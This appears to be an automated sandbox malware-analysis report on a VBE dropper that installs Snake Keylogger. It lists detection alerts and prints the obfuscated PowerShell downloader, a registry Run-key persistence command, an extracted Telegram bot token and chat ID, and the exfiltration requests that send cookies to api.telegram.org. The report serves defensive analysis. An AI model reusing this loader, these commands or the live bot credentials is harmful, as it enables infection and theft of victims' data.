"HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Litteraturlistes" /t REG_EXPAND_SZ /d "%Hochelaga% -windowstyle 1 $Saltires=(gi 'HKCU:\Software\Wormseeds\').GetValue('Engangsforeteelsens184');%Hochelaga% ($Saltires)", ProcessId: 5968, ProcessName: reg.exe

Sigma detected: Msiexec Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 185.159.153.17, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\SysWOW64\msiexec.exe, Initiated: true, ProcessId: 5216, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49694

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Litteraturlistes" /t REG_EXPAND_SZ /d "%Hochelaga% -windowstyle 1 $Saltires=(gi 'HKCU:\Software\Wormseeds\').GetValue('Engangsforeteelsens184');%Hochelaga% ($Saltires)", CommandLine: "C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Litteraturlistes" /t REG_EXPAND_SZ /d "%Hochelaga% -windowstyle 1 $Saltires=(gi 'HKCU:\Software\Wormseeds\').GetValue('Engangsforeteelsens184');%Hochelaga% ($Saltires)", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Windows\SysWOW64\msiexec.exe", ParentImage: C:\Windows\SysWOW64\msiexec.exe, ParentProcessId: 5216, ParentProcessName: msiexec.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Litteraturlistes" /t REG_EXPAND_SZ /d "%Hochelaga% -windowstyle 1 $Saltires=(gi 'HKCU:\Software\Wormseeds\').GetValue('Engangsforeteelsens184');%Hochelaga% ($Saltires)", ProcessId: 5296, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4500149631.vbe", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4500149631.vbe", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4500149631.vbe", ProcessId: 7100, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "echo $Horrify; function Uprouse15($Fastigiate){$Bovate=4;do{$Cataracted+=$Fastigiate[$Bovate];$Bovate+=5;$Preciosities=Format-List} until(!$Fastigiate[$Bovate])$Cataracted}function Testvrktjer($Pericemental){ .($Unplutocratically) ($Pericemental)}$Tagdkker=Uprouse15 ' HusnUdboe Flltregu.,lnsw';$Tagdkker+=Uprouse15 'tersEGrabBNo.aCC.ckLHjteISuprE AndnRenlT';$Rootfast=Uprouse15 'I baM SrsoAwonzU.deiA.rel enslKonta rio/';$Bovatendskudsstning=Uprouse15 'In lTSekulUndesprec1 R c2';$Matricides=' Iko[H isNperie ProT Til.E ems Yane ugtrHjerV ChoIAftecD,taeCoagpChifoServiLevenSkaltEudamPolyAGastNCardaSi kG Ap.eBrutrBuli]Beds: Tan:K losFesteSquiC avpU BomrId oI coptRecoYKnhjpHa eRRa,eo VitT RanO ntCSu sOTerslHepa=opsl$Kns.bDe.oOBankVJow a HygtFo sE KltNEntodAfs,Sre.uKLeftUFormDOranSSquasSorttRealNGalliGiv NMicrG';$Rootfast+=Uprouse15 ' Bri5ad i.Atro0St.k For(hoveWSelviC rcnNin.dLogaoAmniwTri sMetr klatN ArcTGurg Bue1 hri0po d.Ki o0 in;bo d vbniWUntui CounPeri6Capo4Sa e;Va p S,rix wa6Sca 4Mave;peer skar Nurv ko:Tra 1 Cry3over4town.Fors0men.)Edel SumGButieLem c UdskDiaroAlcm/ Van2Ti s0 ,be1,etr0Refl0Gang1Gl t0 Syt1 Sub AlcF SpoiUnder Ab eTy efDobboH.arxInbo/Semi1Si.u3Prem4,oni.M.zu0';$Hydroida=Uprouse15 'SchiuNonfs BibeRiveRMeta-InhaaArtsgUnswegrooN Rect';$Efterabelserne174=Uprouse15 'PolyhKravtStyrtAfrep Sp.sMarx:F re/Regn/ JosoTagdo G drStreiMe.og.anaiSeminIn xaRudslBleru ,edsConceMonadTyro. vivcDagpoPl dm Cre/I.dtln neodemirFo sdPalo/SokkRGenmeSarci ,ramUdmea Pl gFartiArmin agteMoi..BovnpLab rAktim';$Smreplsen78=Uprouse15 ' Apo>';$Unplutocratically=Uprouse15 'StakI CofeSvovX';$Fodboldes='Sygevarsler';$Barakkens='\Sammenbinder.Moe';Testvrktjer (Uprouse15 ' Pri$HjergVeltlmonoOK,rsbUdsea StelAsja:Lo tA.forNTffenG lvU Astl OraO ilISpladHuj = elg$FaguESiniNDetav ase:IdenAHjfoPk.shP Un,DZe,haTommtStilAT an+dyka$Ca bB ysiA angrpremaB nekAntiKSl nEBu.lN unsS');Testvrktjer (Uprouse15 ' gho$WildGEntrLMi eo Saib VenaSmaaLD.lu:Sni.sRadiPPhonI geaSD moeMu iPUnsul T tiIschGE,trtAish1 Fri5 dfo=unod$ Ud EBaudFCongtB,steTaklREnspA Norb Anae HveLUdfas yntEImp R LusNWashEIsil1 Opt7fo,e4Vi a.knalsI,teP EpilB,lliAncytKkke(Tant$SyntSUrinm S.cR Bate Ko,p agbl SeaSRygme Miln Ch.7Triu8Pa i)');Testvrktjer (Uprouse15 $Matricides);$Efterabelserne174=$Spisepligt15[0];$Bodgery=(Uprouse15 ' Inq$Om,igjackLCacoOBlisBUdklA uinLFo.s:Ani uLudvnUdhuMPel,aGastsAcalTPassE inRSp cfS.aau A,kLRegn=ProsnKoekEAmerwAfso-Ho ooPeptBLangJ CryEMat cTeleT Co To lsRec yL geS UnuTSkygesuprM ork. Rip$Fri tcoc a ewaGBrdrDAlulK TafK PosEPne r');Testvrktjer ($Bodgery);Testvrktjer (Uprouse15 'Tyfo$Mou UAr,inIntemBeviaM nisRod,tKimbeTimerUngrf eeuVitalOver.BoflHSeaseM craN.grdTilgeskibrChe.sD el[ Unf$ MurH,hefyBadidNov rM xioJo siReped Ek,aHome]Mic =Dupl$Ls,eRUdsko aaodhaitAnsafSkinaTrefsMoist');$Saaede=Uprouse15 ' For$ BraUTegnn Benmn nva .tesHandt,edre EnsrU frfBestu.xillBjrg.BailDStrmoimpawBetjnHerrlAnamo DowaTun d SvaFBe.uiJubilTopke

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 628, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7016, ProcessName: svchost.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-12T19:16:09.377332+0100	2803305	3	Unknown Traffic	192.168.2.8	49697	104.21.80.1	443	TCP
2025-03-12T19:16:29.511136+0100	2803305	3	Unknown Traffic	192.168.2.8	49705	104.21.80.1	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-12T19:16:03.382838+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49695	158.101.44.242	80	TCP
2025-03-12T19:16:06.742138+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49695	158.101.44.242	80	TCP
2025-03-12T19:16:10.179713+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49698	158.101.44.242	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-12T19:15:58.878192+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49694	185.159.153.17	443	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-12T19:16:50.248199+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49713	149.154.167.220	443	TCP

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-12T19:16:41.818758+0100	1810007	1	Potentially Bad Traffic	192.168.2.8	49712	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://ooriginalused.com/lord/Reimagin	Avira URL Cloud: Label: phishing
Source: https://ooriginalused.com/u	Avira URL Cloud: Label: phishing
Source: https://ooriginalused.com	Avira URL Cloud: Label: phishing
Source: https://ooriginalused.com/lord/Reimagine.prm	Avira URL Cloud: Label: phishing
Source: https://ooriginalused.com/	Avira URL Cloud: Label: phishing
Source: https://ooriginalused.com/lord/Reimagi	Avira URL Cloud: Label: phishing
Source: https://ooriginalused.com/lo	Avira URL Cloud: Label: phishing
Source: https://ooriginalused.com/lord/Reimag	Avira URL Cloud: Label: phishing
Source: https://ooriginalused.com/lord/	Avira URL Cloud: Label: phishing
Source: https://ooriginalused.com/lord/Reimagine	Avira URL Cloud: Label: phishing
Source: https://ooriginalused.com/lord	Avira URL Cloud: Label: phishing
Source: https://ooriginalused.com/lor	Avira URL Cloud: Label: phishing
Source: https://ooriginalused.com/lord/R	Avira URL Cloud: Label: phishing
Source: https://ooriginalused.com/lord/Rei	Avira URL Cloud: Label: phishing
Source: https://ooriginalused.com/lord/Reimagine.p	Avira URL Cloud: Label: phishing
Source: https://ooriginalused.com/lord/Reimagine.	Avira URL Cloud: Label: phishing
Source: https://ooriginalused.com/lord/Reima	Avira URL Cloud: Label: phishing
Source: https://ooriginalused.com/lord/Reimagine.prmP	Avira URL Cloud: Label: phishing
Source: https://ooriginalused.com/lord/Reimagine.pr	Avira URL Cloud: Label: phishing
Source: https://ooriginalused.com/lord/Reimagine.prmXR	Avira URL Cloud: Label: phishing
Source: https://ooriginalused.com/know/HFJSDskkfpVJaPaR167.binM	Avira URL Cloud: Label: phishing
Source: https://ooriginalused.com/lord/Re	Avira URL Cloud: Label: phishing
Source: https://ooriginalused.com/l	Avira URL Cloud: Label: phishing
Source: https://ooriginalused.com/know/HFJSDskkfpVJaPaR167.bin	Avira URL Cloud: Label: phishing
Source: https://ooriginalused.com/lord/Reim	Avira URL Cloud: Label: phishing

Found malware configuration

Source: 0000000F.00000002.2230198077.0000000020AD1000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "Telegram", "Token": "7328026738:AAH1IHU2hS9jcv-fByxTl7eMvqtctOYjBF8", "Chat_id": "1503224244", "Version": "4.4"}
Source: msiexec.exe.5216.15.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7328026738:AAH1IHU2hS9jcv-fByxTl7eMvqtctOYjBF8/sendMessage"}

Multi AV Scanner detection for submitted file

Source: 4500149631.vbe	Virustotal: Detection: 29%			Perma Link
Source: 4500149631.vbe	ReversingLabs: Detection: 15%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.2% probability

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20678340 CryptUnprotectData,		15_2_20678340
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20678A99 CryptUnprotectData,		15_2_20678A99

Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.8:49696 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.8:49699 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.8:49701 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 185.159.153.17:443 -> 192.168.2.8:49682 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.159.153.17:443 -> 192.168.2.8:49694 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:49712 version: TLS 1.2

Source:	Binary string: System.Core.pdb122658-3693405117-2476756634-1003_Classes\WOW6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocHandler32 source: powershell.exe, 00000006.00000002.1609854802.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: stem.Core.pdb source: powershell.exe, 00000006.00000002.1577977343.00000000005EE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb-2476756634-1003_Classes\WOW6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocHandlerV source: powershell.exe, 00000006.00000002.1609854802.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2065D069h	15_2_2065CDC0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20653308h	15_2_20652EF0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20652D41h	15_2_20652A90
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	15_2_20650040
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2065EED1h	15_2_2065EC28
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2065F781h	15_2_2065F4D8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2065F329h	15_2_2065F080
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2065FBD9h	15_2_2065F930
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2065D919h	15_2_2065D670
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20653308h	15_2_20653236
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2065D4C1h	15_2_2065D218
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20653308h	15_2_20652EED
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2065DD71h	15_2_2065DAC8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2065E621h	15_2_2065E378
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2065E1C9h	15_2_2065DF20
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20650D0Dh	15_2_20650B30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 206516F8h	15_2_20650B30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2065EA79h	15_2_2065E7D0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20678E28h	15_2_20678B58
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20677A5Dh	15_2_20677720
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2067AE50h	15_2_2067AB80
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2067F338h	15_2_2067F068
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20677119h	15_2_20676E70
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20674D21h	15_2_20674A78
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2067C548h	15_2_2067C278
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 206702E9h	15_2_20670040
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2067D310h	15_2_2067D040
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20671CF9h	15_2_20671A50
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2067A520h	15_2_2067A250
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 206748C9h	15_2_20674620
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 206762DBh	15_2_20676030
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 206732B1h	15_2_20673008
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2067E0D8h	15_2_2067DE08
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20676CC1h	15_2_20676A18
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2067B2E8h	15_2_2067B018
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2067A9B8h	15_2_2067A6E8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20670B99h	15_2_206708F0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20677571h	15_2_206772C8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20675179h	15_2_20674ED0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2067D7A8h	15_2_2067D4D8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2067E570h	15_2_2067E2A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20672151h	15_2_20671EA8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2067B780h	15_2_2067B4B0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20679758h	15_2_20679488
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20670741h	15_2_20670498
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2067DC40h	15_2_2067D970
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20670FF1h	15_2_20670D48
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2067BC18h	15_2_2067B948
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20672A01h	15_2_20672758
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2067FC28h	15_2_2067F958
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20679BF0h	15_2_20679920
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 206755D1h	15_2_20675328
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2067EA08h	15_2_2067E738
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 206725A9h	15_2_20672300
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2067F7A8h	15_2_2067F500
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2067C9E0h	15_2_2067C710
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2067C0B0h	15_2_2067BDE0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 206792C0h	15_2_20678FF0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 206718A1h	15_2_206715F8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20676869h	15_2_206765C0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20674471h	15_2_206741C8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2067EEA0h	15_2_2067EBD0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20675E81h	15_2_20675BD8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20671449h	15_2_206711A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2067CE78h	15_2_2067CBA8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20672E59h	15_2_20672BB0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2067A088h	15_2_20679DB8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20675A29h	15_2_20675780
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20694641h	15_2_20694348
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20694B09h	15_2_20694810
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20693F69h	15_2_20693BF8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2069FBF1h	15_2_2069F8F8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20692338h	15_2_20692068
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20695961h	15_2_20695668
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2069F261h	15_2_2069EF68
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20693A30h	15_2_20693760
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2069C759h	15_2_2069C460
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2069AF71h	15_2_2069AC78
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20690C40h	15_2_20690970
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20698469h	15_2_20698170
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2069DF41h	15_2_2069DC48
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20690310h	15_2_20690040
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2069B439h	15_2_2069B140
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20699C51h	15_2_20699958
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20697149h	15_2_20696E50
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2069CC21h	15_2_2069C928
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2069A119h	15_2_20699E20
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20691A08h	15_2_20691738
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20698931h	15_2_20698638
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20693100h	15_2_20692E30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20695E29h	15_2_20695B30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2069F729h	15_2_2069F430
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 206910D8h	15_2_20690E08
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2069B901h	15_2_2069B608
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 206927D1h	15_2_20692500
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20698DF9h	15_2_20698B00
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20697611h	15_2_20697318
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2069E40Ah	15_2_2069E110
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2069A5E1h	15_2_2069A2E8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20697AD9h	15_2_206977E0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 206962F1h	15_2_20695FF8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2069D0E9h	15_2_2069CDF0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20693598h	15_2_206932C8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 206992C1h	15_2_20698FC8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 206967B9h	15_2_206964C0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 206907A8h	15_2_206904D8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20694FD1h	15_2_20694CD8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2069E8D1h	15_2_2069E5D8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20691EA0h	15_2_20691BD0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2069BDC9h	15_2_2069BAD0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20697FA1h	15_2_20697CA8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20691570h	15_2_206912A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20695499h	15_2_206951A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2069ED99h	15_2_2069EAA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2069D5B1h	15_2_2069D2B8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2069AAA9h	15_2_2069A7B0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20696C81h	15_2_20696988
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2069DA79h	15_2_2069D780
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20692C68h	15_2_20692998
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 2069C291h	15_2_2069BF98
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20699789h	15_2_20699490
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20ABF8E9h	15_2_20ABF640
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 20ABFD41h	15_2_20ABFA98

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.8:49712 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49713 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:305090%0D%0ADate%20and%20Time:%2014/03/2025%20/%2008:42:33%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20305090%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7328026738:AAH1IHU2hS9jcv-fByxTl7eMvqtctOYjBF8/sendDocument?chat_id=1503224244&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0ACookies%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd636367b0dda3Host: api.telegram.orgContent-Length: 742

